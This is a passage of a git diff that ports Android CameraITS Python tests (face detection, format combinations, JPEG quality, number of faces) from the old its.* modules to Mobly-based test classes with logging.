+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.face_detect(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+      fd_modes = props['android.statistics.info.availableFaceDetectModes']
+      a = props['android.sensor.info.activeArraySize']
+      aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+      if camera_properties_utils.read_3a(props):
+        gain, exp, _, _, focus = cam.do_3a(
+            get_results=True, mono_camera=mono_camera)
+        logging.debug('iso = %d', gain)
+        logging.debug('exp = %.2fms', (exp * 1.0E-6))
+        if focus == 0.0:
+          logging.debug('fd = infinity')
+        else:
+          logging.debug('fd = %.2fcm', (1.0E2 / focus))
+      for fd_mode in fd_modes:
+        if not FD_MODE_OFF <= fd_mode <= FD_MODE_FULL:
+          raise AssertionError(f'fd_mode undefined: {fd_mode}')
+        req = capture_request_utils.auto_capture_request()
+        req['android.statistics.faceDetectMode'] = fd_mode
+        fmt = {'format': 'yuv', 'width': W, 'height': H}
+        caps = cam.do_capture([req] * NUM_TEST_FRAMES, fmt)
+        for i, cap in enumerate(caps):
+          fd_mode_md = cap['metadata']['android.statistics.faceDetectMode']
+          if fd_mode_md != fd_mode:
+            raise AssertionError('Metadata does not match request! '
+                                 f'Request: {fd_mode} metadata: {fd_mode_md}.')
+          faces = cap['metadata']['android.statistics.faces']
+
+          # 0 faces should be returned for OFF mode
+          if fd_mode == FD_MODE_OFF:
+            if faces:
+              raise AssertionError('Faces found in OFF mode.')
+            continue
+          # Save last frame.
+          if i == NUM_TEST_FRAMES - 1:
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props)
+            img = image_processing_utils.rotate_img_per_argv(img)
+            img_name = '%s_fd_mode_%s.jpg' % (os.path.join(self.log_path,
+                                                           NAME), fd_mode)
+            image_processing_utils.write_image(img, img_name)
+            if not faces:
+              raise AssertionError(f'No face detected in mode {fd_mode}.')
+          if not faces:
+            continue
+
+          logging.debug('Frame %d face metadata:', i)
+          logging.debug('Faces: %s', faces)
+
+          face_scores = [face['score'] for face in faces]
+          face_rectangles = [face['bounds'] for face in faces]
+          for score in face_scores:
+            if not 1 <= score <= 100:
+              raise AssertionError(f'Face score not valid! score: {score}.')
+          # Face bounds should be within active array.
+          for j, rect in enumerate(face_rectangles):
+            logging.debug('Checking face rectangle %d', j)
+            check_face_bounding_box(rect, aw, ah)
+
+          # Face ID should be -1 for SIMPLE and unique for FULL
+          if fd_mode == FD_MODE_SIMPLE:
+            for face in faces:
+              if 'leftEye' in face or 'rightEye' in face:
+                raise AssertionError('Eyes not supported in FD_MODE_SIMPLE.')
+              if 'mouth' in face:
+                raise AssertionError('Mouth not supported in FD_MODE_SIMPLE.')
+              if face['id'] != -1:
+                raise AssertionError('face_id should be -1 in FD_MODE_SIMPLE.')
+          elif fd_mode == FD_MODE_FULL:
+            face_ids = [face['id'] for face in faces]
+            if len(face_ids) != len(set(face_ids)):
+              raise AssertionError('Same face detected more than 1x.')
+            # Face landmarks should be within face bounds
+            for k, face in enumerate(faces):
+              logging.debug('Checking landmarks in face %d: %s', k, str(face))
+              check_face_landmarks(face)
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_a/test_format_combos.py b/apps/CameraITS/tests/scene2_a/test_format_combos.py
index ff08d55..740de49 100644
--- a/apps/CameraITS/tests/scene2_a/test_format_combos.py
+++ b/apps/CameraITS/tests/scene2_a/test_format_combos.py
@@ -11,125 +11,154 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies different combinations of output formats."""
 
-import its.image
-import its.caps
-import its.device
-import its.objects
-import its.error
-import its.target
-import sys
+
+import logging
 import os
+import sys
 
-NAME = os.path.basename(__file__).split(".")[0]
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 STOP_AT_FIRST_FAILURE = False  # change to True to have test break @ 1st FAIL
 
 
-def main():
-    """Test different combinations of output formats.
-    
-    Note the test does not require a specific target but does perform
-    both automatic and manual captures so it requires a fixed scene
-    where 3A can converge.
-    """
+class FormatCombosTest(its_base_test.ItsBaseTest):
+  """Test different combinations of output formats.
 
-    with its.device.ItsSession() as cam:
+  Note the test does not require a specific target but does perform
+  both automatic and manual captures so it requires a fixed scene
+  where 3A can converge.
+  """
 
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.raw16(props))
+  def test_format_combos(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
 
-        successes = []
-        failures = []
-        debug = its.caps.debug_mode()
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
 
-        # Two different requests: auto, and manual.
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        req_aut = its.objects.auto_capture_request()
-        req_man = its.objects.manual_capture_request(s, e)
-        reqs = [req_aut,  # R0
-                req_man]  # R1
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # 10 different combos of output formats; some are single surfaces, and
-        # some are multiple surfaces.
-        wyuv, hyuv = its.objects.get_available_output_sizes("yuv", props)[-1]
-        wjpg, hjpg = its.objects.get_available_output_sizes("jpg", props)[-1]
-        fmt_yuv_prev = {"format": "yuv", "width": wyuv, "height": hyuv}
-        fmt_yuv_full = {"format": "yuv"}
-        fmt_jpg_prev = {"format": "jpeg", "width": wjpg, "height": hjpg}
-        fmt_jpg_full = {"format": "jpeg"}
-        fmt_raw_full = {"format": "raw"}
-        fmt_combos = [
-            [fmt_yuv_prev],                              # F0
-            [fmt_yuv_full],                              # F1
-            [fmt_jpg_prev],                              # F2
-            [fmt_jpg_full],                              # F3
-            [fmt_raw_full],                              # F4
-            [fmt_yuv_prev, fmt_jpg_prev],                # F5
-            [fmt_yuv_prev, fmt_jpg_full],                # F6
-            [fmt_yuv_prev, fmt_raw_full],                # F7
-            [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full],  # F8
-            [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]]  # F9
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw16(props))
 
-        if its.caps.y8(props):
-            wy8, hy8 = its.objects.get_available_output_sizes("y8", props)[-1]
-            fmt_y8_prev = {"format": "y8", "width": wy8, "height": hy8}
-            fmt_y8_full = {"format": "y8"}
-            fmt_combos.append([fmt_y8_prev])
-            fmt_combos.append([fmt_y8_full])
+      successes = []
+      failures = []
+      debug = self.debug_mode
 
-        # Two different burst lengths: single frame, and 3 frames.
-        burst_lens = [1,  # B0
-                      3]  # B1
+      # Two different requests: auto, and manual.
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          self.log_path, cam)['midExposureTime']
+      req_aut = capture_request_utils.auto_capture_request()
+      req_man = capture_request_utils.manual_capture_request(s, e)
+      reqs = [req_aut,  # R0
+              req_man]  # R1
 
-        # There are 2xlen(fmt_combos)x2 different combinations. Run through them all.
-        n = 0
-        for r,req in enumerate(reqs):
-            for f,fmt_combo in enumerate(fmt_combos):
-                for b,burst_len in enumerate(burst_lens):
-                    try:
-                        caps = cam.do_capture([req]*burst_len, fmt_combo)
-                        successes.append((n,r,f,b))
-                        print "==> Success[%02d]: R%d F%d B%d" % (n,r,f,b)
+      # 10 different combos of output formats; some are single surfaces, and
+      # some are multiple surfaces.
+      wyuv, hyuv = capture_request_utils.get_available_output_sizes(
+          'yuv', props)[-1]
+      wjpg, hjpg = capture_request_utils.get_available_output_sizes(
+          'jpg', props)[-1]
+      fmt_yuv_prev = {'format': 'yuv', 'width': wyuv, 'height': hyuv}
+      fmt_yuv_full = {'format': 'yuv'}
+      fmt_jpg_prev = {'format': 'jpeg', 'width': wjpg, 'height': hjpg}
+      fmt_jpg_full = {'format': 'jpeg'}
+      fmt_raw_full = {'format': 'raw'}
+      fmt_combos = [
+          [fmt_yuv_prev],  # F0
+          [fmt_yuv_full],  # F1
+          [fmt_jpg_prev],  # F2
+          [fmt_jpg_full],  # F3
+          [fmt_raw_full],  # F4
+          [fmt_yuv_prev, fmt_jpg_prev],  # F5
+          [fmt_yuv_prev, fmt_jpg_full],  # F6
+          [fmt_yuv_prev, fmt_raw_full],  # F7
+          [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full],  # F8
+          [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]   # F9
+      ]
 
-                        # Dump the captures out to jpegs in debug mode.
-                        if debug:
-                            if not isinstance(caps, list):
-                                caps = [caps]
-                            elif isinstance(caps[0], list):
-                                caps = sum(caps, [])
-                            for c, cap in enumerate(caps):
-                                img = its.image.convert_capture_to_rgb_image(cap, props=props)
-                                its.image.write_image(img,
-                                    "%s_n%02d_r%d_f%d_b%d_c%d.jpg"%(NAME,n,r,f,b,c))
+      if camera_properties_utils.y8(props):
+        wy8, hy8 = capture_request_utils.get_available_output_sizes(
+            'y8', props)[-1]
+        fmt_y8_prev = {'format': 'y8', 'width': wy8, 'height': hy8}
+        fmt_y8_full = {'format': 'y8'}
+        fmt_combos.append([fmt_y8_prev])
+        fmt_combos.append([fmt_y8_full])
 
-                    except Exception as e:
-                        print e
-                        print "==> Failure[%02d]: R%d F%d B%d" % (n,r,f,b)
-                        failures.append((n,r,f,b))
-                        if STOP_AT_FIRST_FAILURE:
-                            sys.exit(1)
-                    n += 1
+      # Two different burst lengths: single frame, and 3 frames.
+      burst_lens = [
+          1,  # B0
+          3  # B1
+      ]
 
-        num_fail = len(failures)
-        num_success = len(successes)
-        num_total = len(reqs)*len(fmt_combos)*len(burst_lens)
-        num_not_run = num_total - num_success - num_fail
+      # There are 2xlen(fmt_combos)x2 different combinations.
+      # Run through them all.
+      n = 0
+      for r, req in enumerate(reqs):
+        for f, fmt_combo in enumerate(fmt_combos):
+          for b, burst_len in enumerate(burst_lens):
+            try:
+              caps = cam.do_capture([req] * burst_len, fmt_combo)
+              successes.append((n, r, f, b))
+              logging.debug('==> Success[%02d]: R%d F%d B%d', n, r, f, b)
 
-        print "\nFailures (%d / %d):" % (num_fail, num_total)
-        for (n,r,f,b) in failures:
-            print "  %02d: R%d F%d B%d" % (n,r,f,b)
-        print "\nSuccesses (%d / %d):" % (num_success, num_total)
-        for (n,r,f,b) in successes:
-            print "  %02d: R%d F%d B%d" % (n,r,f,b)
-        if num_not_run > 0:
-            print "\nNumber of tests not run: %d / %d" % (num_not_run, num_total)
-        print ""
+              # Dump the captures out to jpegs in debug mode.
+              if debug:
+                if not isinstance(caps, list):
+                  caps = [caps]
+                elif isinstance(caps[0], list):
+                  caps = sum(caps, [])
+                for c, cap in enumerate(caps):
+                  img = image_processing_utils.convert_capture_to_rgb_image(
+                      cap, props=props)
+                  img_name = '%s_n%02d_r%d_f%d_b%d_c%d.jpg' % (os.path.join(
+                      self.log_path, NAME), n, r, f, b, c)
+                  image_processing_utils.write_image(img, img_name)
+            # pylint: disable=broad-except
+            except Exception as e:
+              logging.error(e)
+              logging.error('==> Failure[%02d]: R%d F%d B%d', n, r, f, b)
+              failures.append((n, r, f, b))
+              if STOP_AT_FIRST_FAILURE:
+                sys.exit(1)
+            n += 1
 
-        # The test passes if all the combinations successfully capture.
-        assert num_fail == 0
-        assert num_success == num_total
+      num_fail = len(failures)
+      num_success = len(successes)
+      num_total = len(reqs)*len(fmt_combos)*len(burst_lens)
+      num_not_run = num_total - num_success - num_fail
+
+      logging.debug('Failures (%d / %d):', num_fail, num_total)
+      for (n, r, f, b) in failures:
+        logging.debug('  %02d: R%d F%d B%d', n, r, f, b)
+      logging.debug('Successes (%d / %d)', num_success, num_total)
+      for (n, r, f, b) in successes:
+        logging.debug('  %02d: R%d F%d B%d', n, r, f, b)
+      if num_not_run > 0:
+        logging.debug('Number of tests not run: %d / %d',
+                      num_not_run, num_total)
+
+      # The test passes if all the combinations successfully capture.
+      assert num_fail == 0
+      assert num_success == num_total
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
index cc117be..c4d91b4 100644
--- a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
+++ b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
@@ -10,21 +10,25 @@
 # distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
-
 # limitations under the License.
+"""Verifies android.jpeg.quality increases JPEG image quality."""
 
+
+import logging
 import math
 import os.path
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-
 from matplotlib import pylab
 import matplotlib.pyplot
+from mobly import test_runner
 import numpy as np
 
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
 JPEG_APPN_MARKERS = [[255, 224], [255, 225], [255, 226], [255, 227], [255, 228],
                      [255, 229], [255, 230], [255, 231], [255, 232], [255, 235]]
 JPEG_DHT_MARKER = [255, 196]  # JPEG Define Huffman Table
@@ -33,225 +37,244 @@
 JPEG_EOI_MARKER = [255, 217]  # JPEG End of Image
 JPEG_SOI_MARKER = [255, 216]  # JPEG Start of Image
 JPEG_SOS_MARKER = [255, 218]  # JPEG Start of Scan
-NAME = os.path.basename(__file__).split('.')[0]
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 QUALITIES = [25, 45, 65, 85]
 SYMBOLS = ['o', 's', 'v', '^', '<', '>']
 
 
 def is_square(integer):
-    root = math.sqrt(integer)
-    return integer == int(root + 0.5) ** 2
+  root = math.sqrt(integer)
+  return integer == int(root + 0.5)**2
 
 
 def strip_soi_marker(jpeg):
-    """strip off start of image marker.
+  """Strip off start of image marker.
 
-    SOI is of form [xFF xD8] and JPEG needs to start with marker.
+  SOI is of form [xFF xD8] and JPEG needs to start with marker.
 
-    Args:
-        jpeg:   1-D numpy int [0:255] array; values from JPEG capture
+  Args:
+   jpeg: 1-D numpy int [0:255] array; values from JPEG capture
 
-    Returns:
-        jpeg with SOI marker stripped off.
-    """
+  Returns:
+    jpeg with SOI marker stripped off.
+  """
 
-    soi = jpeg[0:2]
-    assert list(soi) == JPEG_SOI_MARKER, 'JPEG has no Start Of Image marker'
-    return jpeg[2:]
+  soi = jpeg[0:2]
+  if list(soi) != JPEG_SOI_MARKER:
+    raise AssertionError('JPEG has no Start Of Image marker')
+  return jpeg[2:]
 
 
 def strip_appn_data(jpeg):
-    """strip off application specific data at beginning of JPEG.
+  """Strip off application specific data at beginning of JPEG.
 
-    APPN markers are of form [xFF, xE*, size_msb, size_lsb] and should follow
-    SOI marker.
+  APPN markers are of form [xFF, xE*, size_msb, size_lsb] and should follow
+  SOI marker.
 
-    Args:
-        jpeg:   1-D numpy int [0:255] array; values from JPEG capture
+  Args:
+   jpeg: 1-D numpy int [0:255] array; values from JPEG capture
 
-    Returns:
-        jpeg with APPN marker(s) and data stripped off.
-    """
+  Returns:
+    jpeg with APPN marker(s) and data stripped off.
+  """
 
-    length = 0
-    i = 0
-    # find APPN markers and strip off payloads at beginning of jpeg
-    while i < len(jpeg)-1:
-        if [jpeg[i], jpeg[i+1]] in JPEG_APPN_MARKERS:
-            length = jpeg[i+2] * 256 + jpeg[i+3] + 2
-            print ' stripped APPN length:', length
-            jpeg = np.concatenate((jpeg[0:i], jpeg[length:]), axis=None)
-        elif ([jpeg[i], jpeg[i+1]] == JPEG_DQT_MARKER or
-              [jpeg[i], jpeg[i+1]] == JPEG_DHT_MARKER):
-            break
-        else:
-            i += 1
+  length = 0
+  i = 0
+  # find APPN markers and strip off payloads at beginning of jpeg
+  while i < len(jpeg) - 1:
+    if [jpeg[i], jpeg[i + 1]] in JPEG_APPN_MARKERS:
+      length = jpeg[i + 2] * 256 + jpeg[i + 3] + 2
+      logging.debug('stripped APPN length:%d', length)
+      jpeg = np.concatenate((jpeg[0:i], jpeg[length:]), axis=None)
+    elif ([jpeg[i], jpeg[i + 1]] == JPEG_DQT_MARKER or
+          [jpeg[i], jpeg[i + 1]] == JPEG_DHT_MARKER):
+      break
+    else:
+      i += 1
 
-    return jpeg
+  return jpeg
 
 
 def find_dqt_markers(marker, jpeg):
-    """Find location(s) of marker list in jpeg.
+  """Find location(s) of marker list in jpeg.
 
-    DQT marker is of form [xFF, xDB].
+  DQT marker is of form [xFF, xDB].
 
-    Args:
-        marker: list; marker values
-        jpeg:   1-D numpy int [0:255] array; JPEG capture w/ SOI & APPN stripped
+  Args:
+    marker: list; marker values
+    jpeg: 1-D numpy int [0:255] array; JPEG capture w/ SOI & APPN stripped
 
-    Returns:
-        locs:       list; marker locations in jpeg
-    """
-    locs = []
-    marker_len = len(marker)
-    for i in xrange(len(jpeg)-marker_len+1):
-        if list(jpeg[i:i+marker_len]) == marker:
-            locs.append(i)
-    return locs
+  Returns:
+    locs: list; marker locations in jpeg
+  """
+  locs = []
+  marker_len = len(marker)
+  for i in range(len(jpeg) - marker_len + 1):
+    if list(jpeg[i:i + marker_len]) == marker:
+      locs.append(i)
+  return locs
 
 
 def extract_dqts(jpeg, debug=False):
-    """Find and extract the DQT info in the JPEG.
+  """Find and extract the DQT info in the JPEG.
 
-    SOI marker and APPN markers plus data are stripped off front of JPEG.
-    DQT marker is of form [xFF, xDB] followed by [size_msb, size_lsb].
-    Size includes the size values, but not the marker values.
-    Luma DQT is prefixed by 0, Chroma DQT by 1.
-    DQTs can have both luma & chroma or each individually.
-    There can be more than one DQT table for luma and chroma.
+  SOI marker and APPN markers plus data are stripped off front of JPEG.
+  DQT marker is of form [xFF, xDB] followed by [size_msb, size_lsb].
+  Size includes the size values, but not the marker values.
+  Luma DQT is prefixed by 0, Chroma DQT by 1.
+  DQTs can have both luma & chroma or each individually.
+  There can be more than one DQT table for luma and chroma.
 
-    Args:
-        jpeg:   1-D numpy int [0:255] array; values from JPEG capture
-        debug:  bool; command line flag to print debug data
+  Args:
+   jpeg: 1-D numpy int [0:255] array; values from JPEG capture
+   debug: bool; command line flag to print debug data
 
-    Returns:
-        lumas, chromas: lists of numpy means of luma & chroma DQT matrices.
-                        Higher values represent higher compression.
-    """
+  Returns:
+    lumas,chromas: lists of numpy means of luma & chroma DQT matrices.
+    Higher values represent higher compression.
+  """
 
-    dqt_markers = find_dqt_markers(JPEG_DQT_MARKER, jpeg)
-    print 'DQT header loc(s):', dqt_markers
-    lumas = []
-    chromas = []
-    for i, dqt in enumerate(dqt_markers):
+  dqt_markers = find_dqt_markers(JPEG_DQT_MARKER, jpeg)
+  logging.debug('DQT header loc(s):%s', dqt_markers)
+  lumas = []
+  chromas = []
+  for i, dqt in enumerate(dqt_markers):
+    if debug:
+      logging.debug('DQT %d start: %d, marker: %s, length: %s', i, dqt,
+                    jpeg[dqt:dqt + 2], jpeg[dqt + 2:dqt + 4])
+    dqt_size = jpeg[dqt + 2] * 256 + jpeg[dqt + 3] - 2  # strip off size marker
+    if dqt_size % 2 == 0:  # even payload means luma & chroma
+      logging.debug(' both luma & chroma DQT matrices in marker')
+      dqt_size = (dqt_size - 2) // 2  # subtact off luma/chroma markers
+      assert is_square(dqt_size), 'DQT size: %d' % dqt_size
+      luma_start = dqt + 5  # skip header, length, & matrix id
+      chroma_start = luma_start + dqt_size + 1  # skip lumen &  matrix_id
+      luma = np.array(jpeg[luma_start: luma_start + dqt_size])
+      chroma = np.array(jpeg[chroma_start: chroma_start + dqt_size])
+      lumas.append(np.mean(luma))
+      chromas.append(np.mean(chroma))
+      if debug:
+        h = int(math.sqrt(dqt_size))
+        logging.debug(' luma:%s', luma.reshape(h, h))
+        logging.debug(' chroma:%s', chroma.reshape(h, h))
+    else:  # odd payload means only 1 matrix
+      logging.debug(' single DQT matrix in marker')
+      dqt_size = dqt_size - 1  # subtract off luma/chroma marker
+      if not is_square(dqt_size):
+        raise AssertionError(f'DQT size: {dqt_size}')
+      start = dqt + 5
+      matrix = np.array(jpeg[start:start + dqt_size])
+      if jpeg[dqt + 4]:  # chroma == 1
+        chromas.append(np.mean(matrix))
         if debug:
-            print '\n DQT %d start: %d, marker: %s, length: %s' % (
-                    i, dqt, jpeg[dqt:dqt+2], jpeg[dqt+2:dqt+4])
-        dqt_size = jpeg[dqt+2]*256 + jpeg[dqt+3] - 2  # strip off size marker
-        if dqt_size % 2 == 0:  # even payload means luma & chroma
-            print ' both luma & chroma DQT matrices in marker'
-            dqt_size = (dqt_size - 2) / 2  # subtact off luma/chroma markers
-            assert is_square(dqt_size), 'DQT size: %d' % dqt_size
-            luma_start = dqt + 5  # skip header, length, & matrix id
-            chroma_start = luma_start + dqt_size + 1  # skip lumen &  matrix_id
-            luma = np.array(jpeg[luma_start:luma_start+dqt_size])
-            chroma = np.array(jpeg[chroma_start:chroma_start+dqt_size])
-            lumas.append(np.mean(luma))
-            chromas.append(np.mean(chroma))
-            if debug:
-                h = int(math.sqrt(dqt_size))
-                print ' luma:', luma.reshape(h, h)
-                print ' chroma:', chroma.reshape(h, h)
-        else:  # odd payload means only 1 matrix
-            print ' single DQT matrix in marker'
-            dqt_size = dqt_size - 1  # subtract off luma/chroma marker
-            assert is_square(dqt_size), 'DQT size: %d' % dqt_size
-            start = dqt + 5
-            matrix = np.array(jpeg[start:start+dqt_size])
-            if jpeg[dqt+4]:  # chroma == 1
-                chromas.append(np.mean(matrix))
-                if debug:
-                    h = int(math.sqrt(dqt_size))
-                    print ' chroma:', matrix.reshape(h, h)
-            else:  # luma == 0
-                lumas.append(np.mean(matrix))
-                if debug:
-                    h = int(math.sqrt(dqt_size))
-                    print ' luma:', matrix.reshape(h, h)
+          h = int(math.sqrt(dqt_size))
+          logging.debug(' chroma:%s', matrix.reshape(h, h))
+      else:  # luma == 0
+        lumas.append(np.mean(matrix))
+        if debug:
+          h = int(math.sqrt(dqt_size))
+          logging.debug(' luma:%s', matrix.reshape(h, h))
 
-    return lumas, chromas
+  return lumas, chromas
 
 
-def plot_data(qualities, lumas, chromas):
-    """Create plot of data."""
-    print 'qualities: %s' % str(qualities)
-    print 'luma DQT avgs: %s' % str(lumas)
-    print 'chroma DQT avgs: %s' % str(chromas)
-    pylab.title(NAME)
-    for i in range(lumas.shape[1]):
-        pylab.plot(qualities, lumas[:, i], '-g'+SYMBOLS[i],
-                   label='luma_dqt'+str(i))
-        pylab.plot(qualities, chromas[:, i], '-r'+SYMBOLS[i],
-                   label='chroma_dqt'+str(i))
-    pylab.xlim([0, 100])
-    pylab.ylim([0, None])
-    pylab.xlabel('jpeg.quality')
-    pylab.ylabel('DQT luma/chroma matrix averages')
-    pylab.legend(loc='upper right', numpoints=1, fancybox=True)
-    matplotlib.pyplot.savefig('%s_plot.png' % NAME)
+def plot_data(qualities, lumas, chromas, img_name):
+  """Create plot of data."""
+  logging.debug('qualities: %s', str(qualities))
+  logging.debug('luma DQT avgs: %s', str(lumas))
+  logging.debug('chroma DQT avgs: %s', str(chromas))
+  pylab.title(NAME)
+  for i in range(lumas.shape[1]):
+    pylab.plot(
+        qualities, lumas[:, i], '-g' + SYMBOLS[i], label='luma_dqt' + str(i))
+    pylab.plot(
+        qualities,
+        chromas[:, i],
+        '-r' + SYMBOLS[i],
+        label='chroma_dqt' + str(i))
+  pylab.xlim([0, 100])
+  pylab.ylim([0, None])
+  pylab.xlabel('jpeg.quality')
+  pylab.ylabel('DQT luma/chroma matrix averages')
+  pylab.legend(loc='upper right', numpoints=1, fancybox=True)
+  matplotlib.pyplot.savefig('%s_plot.png' % img_name)
 
 
-def main():
-    """Test the camera JPEG compression quality.
+class JpegQualityTest(its_base_test.ItsBaseTest):
+  """Test the camera JPEG compression quality.
 
-    Step JPEG qualities through android.jpeg.quality. Ensure quanitization
-    matrix decreases with quality increase. Matrix should decrease as the
-    matrix represents the division factor. Higher numbers --> fewer quantization
-    levels.
-    """
+  Step JPEG qualities through android.jpeg.quality. Ensure quanitization
+  matrix decreases with quality increase. Matrix should decrease as the
+  matrix represents the division factor. Higher numbers --> fewer quantization
+  levels.
+  """
 
-    # determine debug
-    debug = its.caps.debug_mode()
-
+  def test_jpeg_quality(self):
+    logging.debug('Starting %s', NAME)
     # init variables
     lumas = []
     chromas = []
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.jpeg_quality(props))
-        cam.do_3a()
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
 
-        # do captures over jpeg quality range
-        req = its.objects.auto_capture_request()
-        for q in QUALITIES:
-            print '\njpeg.quality: %.d' % q
-            req['android.jpeg.quality'] = q
-            cap = cam.do_capture(req, cam.CAP_JPEG)
-            jpeg = cap['data']
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      debug = self.debug_mode
 
-            # strip off start of image
-            jpeg = strip_soi_marker(jpeg)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-            # strip off application specific data
-            jpeg = strip_appn_data(jpeg)
-            print 'remaining JPEG header:', jpeg[0:4]
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.jpeg_quality(props))
+      cam.do_3a()
 
-            # find and extract DQTs
-            lumas_i, chromas_i = extract_dqts(jpeg, debug)
-            lumas.append(lumas_i)
-            chromas.append(chromas_i)
+      # do captures over jpeg quality range
+      req = capture_request_utils.auto_capture_request()
+      for q in QUALITIES:
+        logging.debug('jpeg.quality: %.d', q)
+        req['android.jpeg.quality'] = q
+        cap = cam.do_capture(req, cam.CAP_JPEG)
+        jpeg = cap['data']
 
-            # save JPEG image
-            img = its.image.convert_capture_to_rgb_image(cap, props=props)
-            its.image.write_image(img, '%s_%d.jpg' % (NAME, q))
+        # strip off start of image
+        jpeg = strip_soi_marker(jpeg)
+
+        # strip off application specific data
+        jpeg = strip_appn_data(jpeg)
+        logging.debug('remaining JPEG header:%s', jpeg[0:4])
+
+        # find and extract DQTs
+        lumas_i, chromas_i = extract_dqts(jpeg, debug)
+        lumas.append(lumas_i)
+        chromas.append(chromas_i)
+
+        # save JPEG image
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            cap, props=props)
+        img_name = os.path.join(self.log_path, NAME)
+        image_processing_utils.write_image(img, '%s_%d.jpg' % (img_name, q))
 
     # turn lumas/chromas into np array to ease multi-dimensional plots/asserts
     lumas = np.array(lumas)
     chromas = np.array(chromas)
 
     # create plot of luma & chroma averages vs quality
-    plot_data(QUALITIES, lumas, chromas)
+    plot_data(QUALITIES, lumas, chromas, img_name)
 
     # assert decreasing luma/chroma with improved jpeg quality
     for i in range(lumas.shape[1]):
-        l = lumas[:, i]
-        c = chromas[:, i]
-        emsg = 'luma DQT avgs: %s, TOL: %.1f' % (str(l), JPEG_DQT_TOL)
-        assert all(y < x * JPEG_DQT_TOL for x, y in zip(l, l[1:])), emsg
-        emsg = 'chroma DQT avgs: %s, TOL: %.1f' % (str(c), JPEG_DQT_TOL)
-        assert all(y < x * JPEG_DQT_TOL for x, y in zip(c, c[1:])), emsg
+      l = lumas[:, i]
+      c = chromas[:, i]
+      if not all(y < x * JPEG_DQT_TOL for x, y in zip(l, l[1:])):
+        raise AssertionError(f'luma DQT avgs: {l}, TOL: {JPEG_DQT_TOL}')
 
+      if not all(y < x * JPEG_DQT_TOL for x, y in zip(c, c[1:])):
+        raise AssertionError(f'chroma DQT avgs: {c}, TOL: {JPEG_DQT_TOL}')
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_a/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py
index 274aef3..9cdca32 100644
--- a/apps/CameraITS/tests/scene2_a/test_num_faces.py
+++ b/apps/CameraITS/tests/scene2_a/test_num_faces.py
@@ -11,91 +11,126 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies 3 faces with different skin tones are detected."""
 
+
+import logging
 import os.path
-import cv2
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_TEST_FRAMES = 20
-NUM_FACES = 3
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import cv2
+
 FD_MODE_OFF = 0
 FD_MODE_SIMPLE = 1
 FD_MODE_FULL = 2
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_TEST_FRAMES = 20
+NUM_FACES = 3
 W, H = 640, 480
 
 
-def main():
+def draw_face_rectangles(img, faces, aw, ah):
+  """Draw rectangles on top of image.
+
+  Args:
+    img:    image array
+    faces:  list of dicts with face information
+    aw:     int; active array width
+    ah:     int; active array height
+  Returns:
+    img with face rectangles drawn on it
+  """
+  for rect in [face['bounds'] for face in faces]:
+    top_left = (int(round(rect['left']*W/aw)),
+                int(round(rect['top']*H/ah)))
+    bot_rght = (int(round(rect['right']*W/aw)),
+                int(round(rect['bottom']*H/ah)))
+    cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
+  return img
+
+
+class NumFacesTest(its_base_test.ItsBaseTest):
+  """Test face detection with different skin tones.
+  """
+
